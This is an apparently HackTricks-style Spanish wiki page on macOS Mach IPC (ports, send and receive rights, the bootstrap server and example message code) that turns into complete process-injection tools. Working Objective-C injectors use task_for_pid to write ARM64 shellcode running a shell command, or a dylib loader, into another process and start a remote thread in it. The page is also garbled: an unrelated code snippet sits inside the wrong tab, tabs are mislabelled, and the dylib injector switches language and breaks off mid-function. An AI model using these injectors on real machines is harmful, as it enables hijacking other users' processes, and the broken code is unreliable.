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# macOS IPC - Comunicación entre Procesos

<details>

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</details>

## Mensajería Mach a través de Puertos

### Información Básica

Mach utiliza **tareas** como la **unidad más pequeña** para compartir recursos, y cada tarea puede contener **múltiples hilos**. Estas **tareas y hilos se mapean en procesos y hilos POSIX en una relación de 1:1**.

La comunicación entre tareas se realiza a través de la Comunicación entre Procesos de Mach (IPC), utilizando canales de comunicación unidireccionales. **Los mensajes se transfieren entre puertos**, que actúan como **colas de mensajes** gestionadas por el kernel.

Cada proceso tiene una **tabla IPC**, donde es posible encontrar los **puertos Mach del proceso**. El nombre de un puerto Mach es en realidad un número (un puntero al objeto del kernel).

Un proceso también puede enviar un nombre de puerto con algunos derechos **a una tarea diferente** y el kernel hará que esta entrada aparezca en la **tabla IPC de la otra tarea**.

### Derechos de Puerto

Los derechos de puerto, que definen las operaciones que una tarea puede realizar, son clave en esta comunicación. Los posibles **derechos de puerto** son:

* **Derecho de Recepción**, que permite recibir mensajes enviados al puerto. Los puertos Mach son colas MPSC (multiple-producer, single-consumer), lo que significa que solo puede haber **un derecho de recepción para cada puerto** en todo el sistema (a diferencia de las tuberías, donde varios procesos pueden tener descriptores de archivo para el extremo de lectura de una tubería).
* Una **tarea con el derecho de Recepción** puede recibir mensajes y **crear derechos de Envío**, lo que le permite enviar mensajes. Originalmente, solo la **propia tarea tiene el derecho de Recepción sobre su puerto**.
* **Derecho de Envío**, que permite enviar mensajes al puerto.
* El derecho de Envío se puede **clonar**, por lo que una tarea que posee un derecho de Envío puede clonar el derecho y **concedérselo a una tercera tarea**.
* **Derecho de Envío-una-vez**, que permite enviar un mensaje al puerto y luego desaparece.
* **Derecho de conjunto de puertos**, que denota un _conjunto de puertos_ en lugar de un solo puerto. Desencolar un mensaje de un conjunto de puertos desencola un mensaje de uno de los puertos que contiene. Los conjuntos de puertos se pueden utilizar para escuchar en varios puertos simultáneamente, de manera similar a `select`/`poll`/`epoll`/`kqueue` en Unix.
* **Nombre muerto**, que no es un derecho de puerto real, sino simplemente un marcador de posición. Cuando se destruye un puerto, todos los derechos de puerto existentes para el puerto se convierten en nombres muertos.

**Las tareas pueden transferir derechos de ENVÍO a otros**, lo que les permite enviar mensajes de vuelta. **Los derechos de ENVÍO también se pueden clonar**, por lo que una tarea puede duplicar y dar el derecho a una tercera tarea. Esto, combinado con un proceso intermediario conocido como el **servidor de arranque**, permite una comunicación efectiva entre tareas.

### Estableciendo una comunicación

#### Pasos:

Como se mencionó, para establecer el canal de comunicación, está involucrado el **servidor de arranque** (**launchd** en Mac).

1. La tarea **A** inicia un **nuevo puerto**, obteniendo un **derecho de RECEPCIÓN** en el proceso.
2. La tarea **A**, siendo la titular del derecho de RECEPCIÓN, **genera un derecho de ENVÍO para el puerto**.
3. La tarea **A** establece una **conexión** con el **servidor de arranque**, proporcionando el **nombre del servicio del puerto** y el **derecho de ENVÍO** a través de un procedimiento conocido como registro de arranque.
4. La tarea **B** interactúa con el **servidor de arranque** para ejecutar una **búsqueda de arranque para el servicio**. Si tiene éxito, el **servidor duplica el derecho de ENVÍO** recibido de la tarea A y **lo transmite a la tarea B**.
5. Al adquirir un derecho de ENVÍO, la tarea **B** es capaz de **formular** un **mensaje** y enviarlo **a la tarea A**.
6. Para una comunicación bidireccional, por lo general la tarea **B** genera un nuevo puerto con un derecho de **RECEPCIÓN** y un derecho de **ENVÍO**, y le da el **derecho de ENVÍO a la tarea A** para que pueda enviar mensajes a la tarea B (comunicación bidireccional).

El servidor de arranque **no puede autenticar** el nombre de servicio reclamado por una tarea. Esto significa que una **tarea** podría potencialmente **suplantar cualquier tarea del sistema**, como reclamar falsamente un nombre de servicio de autorización y luego aprobar cada solicitud.

Luego, Apple almacena los **nombres de los servicios proporcionados por el sistema** en archivos de configuración seguros, ubicados en directorios protegidos por SIP: `/System/Library/LaunchDaemons` y `/System/Library/LaunchAgents`. Junto a cada nombre de servicio, también se almacena el **binario asociado**. El servidor de arranque creará y mantendrá un **derecho de RECEPCIÓN para cada uno de estos nombres de servicio**.

Para estos servicios predefinidos, el **proceso de búsqueda difiere ligeramente**. Cuando se busca un nombre de servicio, launchd inicia el servicio dinámicamente. El nuevo flujo de trabajo es el siguiente:

* La tarea **B** inicia una **búsqueda de arranque** para un nombre de servicio.
* **launchd** verifica si la tarea se está ejecutando y, si no lo está, la **inicia**.
* La tarea **A** (el servicio) realiza un **registro de arranque**. Aquí, el **servidor de arranque** crea un derecho de ENVÍO, lo retiene y **transfiere el derecho de RECEPCIÓN a la tarea A**.
* launchd duplica el **derecho de ENVÍO y lo envía a la tarea B**.
* La tarea **B** genera un nuevo puerto con un derecho de **RECEPCIÓN** y un derecho de **ENVÍO**, y le da el **derecho de ENVÍO a la tarea A** (el servicio) para que pueda enviar mensajes a la tarea B (comunicación bidireccional).

Sin embargo, este proceso solo se aplica a las tareas predefinidas del sistema. Las tareas no del sistema aún operan como se describe originalmente, lo que podría permitir la suplantación.
### Un Mensaje Mach

Los mensajes Mach se envían o reciben utilizando la función **`mach_msg`** (que es esencialmente una llamada al sistema). Al enviar, el primer argumento de esta llamada debe ser el **mensaje**, que debe comenzar con un **`mach_msg_header_t`** seguido de la carga útil real:
```c
typedef struct {
mach_msg_bits_t               msgh_bits;
mach_msg_size_t               msgh_size;
mach_port_t                   msgh_remote_port;
mach_port_t                   msgh_local_port;
mach_port_name_t              msgh_voucher_port;
mach_msg_id_t                 msgh_id;
} mach_msg_header_t;
```
El proceso que puede **recibir** mensajes en un puerto mach se dice que tiene el _**derecho de recepción**_, mientras que los **emisores** tienen un _**derecho de envío**_ o un _**derecho de envío único**_. El derecho de envío único, como su nombre indica, solo se puede utilizar para enviar un único mensaje y luego se invalida.

Para lograr una **comunicación bidireccional** fácil, un proceso puede especificar un **puerto mach** en el **encabezado del mensaje mach** llamado el puerto de respuesta (**`msgh_local_port`**) donde el **receptor** del mensaje puede **enviar una respuesta** a este mensaje. Los bits de indicador en **`msgh_bits`** se pueden utilizar para **indicar** que se debe derivar y transferir un **derecho de envío único** para este puerto (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).

{% hint style="success" %}
Tenga en cuenta que este tipo de comunicación bidireccional se utiliza en mensajes XPC que esperan una respuesta (`xpc_connection_send_message_with_reply` y `xpc_connection_send_message_with_reply_sync`). Pero **generalmente se crean puertos diferentes** como se explicó anteriormente para crear la comunicación bidireccional.
{% endhint %}

Los otros campos del encabezado del mensaje son:

* `msgh_size`: el tamaño de todo el paquete.
* `msgh_remote_port`: el puerto al que se envía este mensaje.
* `msgh_voucher_port`: [vales mach](https://robert.sesek.com/2023/6/mach\_vouchers.html).
* `msgh_id`: el ID de este mensaje, que es interpretado por el receptor.

{% hint style="danger" %}
Tenga en cuenta que los **mensajes mach se envían a través de un **_**puerto mach**_, que es un canal de comunicación de **un solo receptor**, **múltiples emisores** incorporado en el kernel mach. **Múltiples procesos** pueden **enviar mensajes** a un puerto mach, pero en cualquier momento solo **un solo proceso puede leer** de él.
{% endhint %}

### Enumerar puertos
```bash
lsmp -p <pid>
```
Puedes instalar esta herramienta en iOS descargándola desde [http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz)

### Ejemplo de código

Observa cómo el **emisor** **asigna** un puerto, crea un **derecho de envío** para el nombre `org.darlinghq.example` y lo envía al **servidor de inicio** mientras que el emisor solicitó el **derecho de envío** de ese nombre y lo utilizó para **enviar un mensaje**.

{% tabs %}
{% tab title="receiver.c" %}
```c
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc receiver.c -o receiver

#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>

int main() {

// Create a new port.
mach_port_t port;
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (kr != KERN_SUCCESS) {
printf("mach_port_allocate() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_allocate() created port right name %d\n", port);


// Give us a send right to this port, in addition to the receive right.
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
if (kr != KERN_SUCCESS) {
printf("mach_port_insert_right() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_insert_right() inserted a send right\n");


// Send the send right to the bootstrap server, so that it can be looked up by other processes.
kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_register() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_register()'ed our port\n");


// Wait for a message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
mach_msg_trailer_t trailer;
} message;

kr = mach_msg(
&message.header,  // Same as (mach_msg_header_t *) &message.
MACH_RCV_MSG,     // Options. We're receiving a message.
0,                // Size of the message being sent, if sending.
sizeof(message),  // Size of the buffer for receiving.
port,             // The port to receive a message on.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL    // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Got a message\n");

message.some_text[9] = 0;
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
}
```
```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <mach/mach.h>
#include <mach/message.h>

#define BUFFER_SIZE 1024

int main(int argc, char** argv) {
    mach_port_t server_port;
    kern_return_t kr;
    char buffer[BUFFER_SIZE];

    // Connect to the server port
    kr = task_get_special_port(mach_task_self(), TASK_AUDIT_PORT, &server_port);
    if (kr != KERN_SUCCESS) {
        printf("Failed to get server port: %s\n", mach_error_string(kr));
        return 1;
    }

    // Send a message to the server
    mach_msg_header_t* msg = (mach_msg_header_t*)buffer;
    msg->msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
    msg->msgh_size = sizeof(buffer);
    msg->msgh_remote_port = server_port;
    msg->msgh_local_port = MACH_PORT_NULL;
    msg->msgh_reserved = 0;
    msg->msgh_id = 0;

    kr = mach_msg(msg, MACH_SEND_MSG, msg->msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
    if (kr != KERN_SUCCESS) {
        printf("Failed to send message: %s\n", mach_error_string(kr));
        return 1;
    }

    return 0;
}
```
{% endtab %}

{% tab title="receiver.c" %}
```c
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc sender.c -o sender

#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>

int main() {

// Lookup the receiver port using the bootstrap server.
mach_port_t port;
kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_look_up() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_look_up() returned port right name %d\n", port);


// Construct our message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
} message;

message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
message.header.msgh_remote_port = port;
message.header.msgh_local_port = MACH_PORT_NULL;

strncpy(message.some_text, "Hello", sizeof(message.some_text));
message.some_number = 35;

// Send the message.
kr = mach_msg(
&message.header,  // Same as (mach_msg_header_t *) &message.
MACH_SEND_MSG,    // Options. We're sending a message.
sizeof(message),  // Size of the message being sent.
0,                // Size of the buffer for receiving.
MACH_PORT_NULL,   // A port to receive a message on, if receiving.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL    // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Sent a message\n");
}
```
{% endtab %}
{% endtabs %}

### Puertos privilegiados

* **Puerto del host**: Si un proceso tiene el privilegio de **enviar** a través de este puerto, puede obtener **información** sobre el **sistema** (por ejemplo, `host_processor_info`).
* **Puerto de privilegio del host**: Un proceso con el derecho de **enviar** a través de este puerto puede realizar acciones **privilegiadas** como cargar una extensión del kernel. El **proceso debe ser root** para obtener este permiso.
* Además, para llamar a la API **`kext_request`**, es necesario tener otros permisos **`com.apple.private.kext*`**, que solo se otorgan a los binarios de Apple.
* **Puerto del nombre de la tarea**: Una versión no privilegiada del _puerto de la tarea_. Hace referencia a la tarea, pero no permite controlarla. Lo único que parece estar disponible a través de él es `task_info()`.
* **Puerto de la tarea** (también conocido como puerto del kernel)**:** Con el permiso de enviar a través de este puerto, es posible controlar la tarea (leer/escribir memoria, crear hilos...).
* Llama a `mach_task_self()` para **obtener el nombre** de este puerto para la tarea del llamador. Este puerto solo se **hereda** a través de **`exec()`**; una nueva tarea creada con `fork()` obtiene un nuevo puerto de tarea (como caso especial, una tarea también obtiene un nuevo puerto de tarea después de `exec()` en un binario suid). La única forma de generar una tarea y obtener su puerto es realizar el ["port swap dance"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html) mientras se realiza un `fork()`.
* Estas son las restricciones para acceder al puerto (desde `macos_task_policy` del binario `AppleMobileFileIntegrity`):
* Si la aplicación tiene el permiso de **`com.apple.security.get-task-allow`**, los procesos del **mismo usuario pueden acceder al puerto de la tarea** (comúnmente agregado por Xcode para depurar). El proceso de **notarización** no lo permitirá en las versiones de producción.
* Las aplicaciones con el permiso de **`com.apple.system-task-ports`** pueden obtener el **puerto de la tarea para cualquier** proceso, excepto el kernel. En versiones anteriores se llamaba **`task_for_pid-allow`**. Esto solo se otorga a las aplicaciones de Apple.
* **Root puede acceder a los puertos de tarea** de aplicaciones **no** compiladas con un tiempo de ejecución **reforzado** (y no de Apple).

### Inyección de shellcode en un hilo a través del puerto de la tarea&#x20;

Puedes obtener un shellcode de:

{% content-ref url="../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
[arm64-basic-assembly.md](../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
{% endcontent-ref %}

{% tabs %}
{% tab title="mysleep.m" %}
```objectivec
// clang -framework Foundation mysleep.m -o mysleep
// codesign --entitlements entitlements.plist -s - mysleep

#import <Foundation/Foundation.h>

double performMathOperations() {
double result = 0;
for (int i = 0; i < 10000; i++) {
result += sqrt(i) * tan(i) - cos(i);
}
return result;
}

int main(int argc, const char * argv[]) {
@autoreleasepool {
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo]
processIdentifier]);
while (true) {
[NSThread sleepForTimeInterval:5];

performMathOperations();  // Silent action

[NSThread sleepForTimeInterval:5];
}
}
return 0;
}
```
{% tab title="entitlements.plist" %}
```xml
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.get-task-allow</key>
<true/>
</dict>
</plist>
```
{% endtab %}
{% endtabs %}

**Compila** el programa anterior y agrega los **permisos** para poder inyectar código con el mismo usuario (si no, necesitarás usar **sudo**).

<details>

<summary>sc_injector.m</summary>
```objectivec
// gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector

#import <Foundation/Foundation.h>
#import <AppKit/AppKit.h>
#include <mach/mach_vm.h>
#include <sys/sysctl.h>


#ifdef __arm64__

kern_return_t mach_vm_allocate
(
vm_map_t target,
mach_vm_address_t *address,
mach_vm_size_t size,
int flags
);

kern_return_t mach_vm_write
(
vm_map_t target_task,
mach_vm_address_t address,
vm_offset_t data,
mach_msg_type_number_t dataCnt
);


#else
#include <mach/mach_vm.h>
#endif


#define STACK_SIZE 65536
#define CODE_SIZE 128

// ARM64 shellcode that executes touch /tmp/lalala
char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00";


int inject(pid_t pid){

task_t remoteTask;

// Get access to the task port of the process we want to inject into
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
if (kr != KERN_SUCCESS) {
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
return (-1);
}
else{
printf("Gathered privileges over the task port of process: %d\n", pid);
}

// Allocate memory for the stack
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);

if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
else
{

fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
}

// Allocate memory for the code
remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );

if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
return (-2);
}


// Write the shellcode to the allocated memory
kr = mach_vm_write(remoteTask,                   // Task port
remoteCode64,                 // Virtual Address (Destination)
(vm_address_t) injectedCode,  // Source
0xa9);                       // Length of the source


if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
return (-3);
}


// Set the permissions on the allocated code memory
kr  = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);

if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
return (-4);
}

// Set the permissions on the allocated stack memory
kr  = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);

if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
return (-4);
}

// Create thread to run shellcode
struct arm_unified_thread_state remoteThreadState64;
thread_act_t         remoteThread;

memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );

remoteStack64 += (STACK_SIZE / 2); // this is the real stack
//remoteStack64 -= 8;  // need alignment of 16

const char* p = (const char*) remoteCode64;

remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;

printf ("Remote Stack 64  0x%llx, Remote code is %p\n", remoteStack64, p );

kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );

if (kr != KERN_SUCCESS) {
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
return (-3);
}

return (0);
}

pid_t pidForProcessName(NSString *processName) {
NSArray *arguments = @[@"pgrep", processName];
NSTask *task = [[NSTask alloc] init];
[task setLaunchPath:@"/usr/bin/env"];
[task setArguments:arguments];

NSPipe *pipe = [NSPipe pipe];
[task setStandardOutput:pipe];

NSFileHandle *file = [pipe fileHandleForReading];

[task launch];

NSData *data = [file readDataToEndOfFile];
NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];

return (pid_t)[string integerValue];
}

BOOL isStringNumeric(NSString *str) {
NSCharacterSet* nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet];
NSRange r = [str rangeOfCharacterFromSet: nonNumbers];
return r.location == NSNotFound;
}

int main(int argc, const char * argv[]) {
@autoreleasepool {
if (argc < 2) {
NSLog(@"Usage: %s <pid or process name>", argv[0]);
return 1;
}

NSString *arg = [NSString stringWithUTF8String:argv[1]];
pid_t pid;

if (isStringNumeric(arg)) {
pid = [arg intValue];
} else {
pid = pidForProcessName(arg);
if (pid == 0) {
NSLog(@"Error: Process named '%@' not found.", arg);
return 1;
}
else{
printf("Found PID of process '%s': %d\n", [arg UTF8String], pid);
}
}

inject(pid);
}

return 0;
}
```
</details>
```bash
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pi or string>
```
### Inyección de Dylib en un hilo a través del puerto de tarea

En macOS, los **hilos** pueden ser manipulados a través de **Mach** o utilizando la API de **pthread** de tipo **posix**. El hilo que generamos en la inyección anterior fue generado utilizando la API de Mach, por lo que **no es compatible con posix**.

Fue posible **inyectar un shellcode simple** para ejecutar un comando porque no era necesario trabajar con APIs compatibles con posix, solo con Mach. Inyecciones **más complejas** requerirían que el hilo también sea **compatible con posix**.

Por lo tanto, para **mejorar el hilo**, se debe llamar a **`pthread_create_from_mach_thread`**, que creará un pthread válido. Luego, este nuevo pthread podría **llamar a dlopen** para **cargar una dylib** del sistema, por lo que en lugar de escribir nuevo shellcode para realizar diferentes acciones, es posible cargar bibliotecas personalizadas.

Puedes encontrar **ejemplos de dylibs** en (por ejemplo, uno que genera un registro y luego puedes escucharlo):

{% content-ref url="../../macos-dyld-hijacking-and-dyld_insert_libraries.md" %}
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](../../macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
{% endcontent-ref %}

<details>

<summary>dylib_injector.m</summary>
```objectivec
// gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
// Based on http://newosxbook.com/src.jl?tree=listings&file=inject.c
#include <dlfcn.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <mach/mach.h>
#include <mach/error.h>
#include <errno.h>
#include <stdlib.h>
#include <sys/sysctl.h>
#include <sys/mman.h>

#include <sys/stat.h>
#include <pthread.h>


#ifdef __arm64__
//#include "mach/arm/thread_status.h"

// Apple says: mach/mach_vm.h:1:2: error: mach_vm.h unsupported
// And I say, bullshit.
kern_return_t mach_vm_allocate
(
vm_map_t target,
mach_vm_address_t *address,
mach_vm_size_t size,
int flags
);

kern_return_t mach_vm_write
(
vm_map_t target_task,
mach_vm_address_t address,
vm_offset_t data,
mach_msg_type_number_t dataCnt
);


#else
#include <mach/mach_vm.h>
#endif


#define STACK_SIZE 65536
#define CODE_SIZE 128


char injectedCode[] =

// "\x00\x00\x20\xd4" // BRK X0     ; // useful if you need a break :)

// Call pthread_set_self

"\xff\x83\x00\xd1" // SUB SP, SP, #0x20         ; Allocate 32 bytes of space on the stack for local variables
"\xFD\x7B\x01\xA9" // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack
"\xFD\x43\x00\x91" // ADD X29, SP, #0x10        ; Set frame pointer to current stack pointer
"\xff\x43\x00\xd1" // SUB SP, SP, #0x10         ; Space for the
"\xE0\x03\x00\x91" // MOV X0, SP                ; (arg0)Store in the stack the thread struct
"\x01\x00\x80\xd2" // MOVZ X1, 0                ; X1 (arg1) = 0;
"\xA2\x00\x00\x10" // ADR X2, 0x14              ; (arg2)12bytes from here, Address where the new thread should start
"\x03\x00\x80\xd2" // MOVZ X3, 0                ; X3 (arg3) = 0;
"\x68\x01\x00\x58" // LDR X8, #44               ; load address of PTHRDCRT (pthread_create_from_mach_thread)
"\x00\x01\x3f\xd6" // BLR X8                    ; call pthread_create_from_mach_thread
"\x00\x00\x00\x14" // loop: b loop              ; loop forever

// Call dlopen with the path to the library
"\xC0\x01\x00\x10"  // ADR X0, #56  ; X0 => "LIBLIBLIB...";
"\x68\x01\x00\x58"  // LDR X8, #44 ; load DLOPEN
"\x01\x00\x80\xd2"  // MOVZ X1, 0 ; X1 = 0;
"\x29\x01\x00\x91"  // ADD   x9, x9, 0  - I left this as a nop
"\x00\x01\x3f\xd6"  // BLR X8     ; do dlopen()

// Call pthread_exit
"\xA8\x00\x00\x58"  // LDR X8, #20 ; load PTHREADEXT
"\x00\x00\x80\xd2"  // MOVZ X0, 0 ; X1 = 0;
"\x00\x01\x3f\xd6"  // BLR X8     ; do pthread_exit

"PTHRDCRT"  // <-
"PTHRDEXT"  // <-
"DLOPEN__"  // <-
"LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ;




int inject(pid_t pid, const char *lib) {

task_t remoteTask;
struct stat buf;

// Check if the library exists
int rc = stat (lib, &buf);

if (rc != 0)
{
fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno));
//return (-9);
}

// Get access to the task port of the process we want to inject into
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
if (kr != KERN_SUCCESS) {
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
return (-1);
}
else{
printf("Gathered privileges over the task port of process: %d\n", pid);
}

// Allocate memory for the stack
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);

if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
else
{

fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
}

// Allocate memory for the code
remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );

if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
return (-2);
}


// Patch shellcode

int i = 0;
char *possiblePatchLocation = (injectedCode );
for (i = 0 ; i < 0x100; i++)
{

// Patching is crude, but works.
//
extern void *_pthread_set_self;
possiblePatchLocation++;


uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, "pthread_create_from_mach_thread"); //(uint64_t) pthread_create_from_mach_thread;
uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) pthread_exit;
uint64_t addrOfDlopen = (uint64_t) dlopen;

if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0)
{
memcpy(possiblePatchLocation, &addrOfPthreadExit,8);
printf ("Pthread exit  @%llx, %llx\n", addrOfPthreadExit, pthread_exit);
}
```c
if (memcmp(possiblePatchLocation, "PTHRDCRT", 8) == 0)
{
    memcpy(possiblePatchLocation, &addrOfPthreadCreate, 8);
    printf("Pthread create desde hilo mach @%llx\n", addrOfPthreadCreate);
}

if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0)
{
    printf("DLOpen @%llx\n", addrOfDlopen);
    memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t));
}

if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0)
{
    strcpy(possiblePatchLocation, lib);
}
}

// Escribir el shellcode en la memoria asignada
kr = mach_vm_write(remoteTask,                   // Puerto de la tarea
                   remoteCode64,                 // Dirección virtual (Destino)
                   (vm_address_t) injectedCode,  // Origen
                   0xa9);                       // Longitud del origen

if (kr != KERN_SUCCESS)
{
    fprintf(stderr, "No se puede escribir en la memoria del hilo remoto: Error %s\n", mach_error_string(kr));
    return (-3);
}

// Establecer los permisos en la memoria asignada para el código del hilo remoto
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);

if (kr != KERN_SUCCESS)
{
    fprintf(stderr, "No se pueden establecer los permisos de memoria para el código del hilo remoto: Error %s\n", mach_error_string(kr));
    return (-4);
}

// Establecer los permisos en la memoria asignada para la pila del hilo remoto
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);

if (kr != KERN_SUCCESS)
{
    fprintf(stderr, "No se pueden establecer los permisos de memoria para la pila del hilo remoto: Error %s\n", mach_error_string(kr));
    return (-4);
}

// Crear hilo para ejecutar el shellcode
struct arm_unified_thread_state remoteThreadState64;
thread_act_t remoteThread;

memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64));

remoteStack64 += (STACK_SIZE / 2); // esta es la pila real
//remoteStack64 -= 8;  // se necesita alineación de 16

const char* p = (const char*) remoteCode64;

remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;

printf("Pila remota 64  0x%llx, el código remoto es %p\n", remoteStack64, p);

kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
                           (thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT, &remoteThread);

if (kr != KERN_SUCCESS) {
    fprintf(stderr, "No se puede crear el hilo remoto: error %s", mach_error_string(kr));
    return (-3);
}

return (0);
}

int main(int argc, const char * argv[])
{
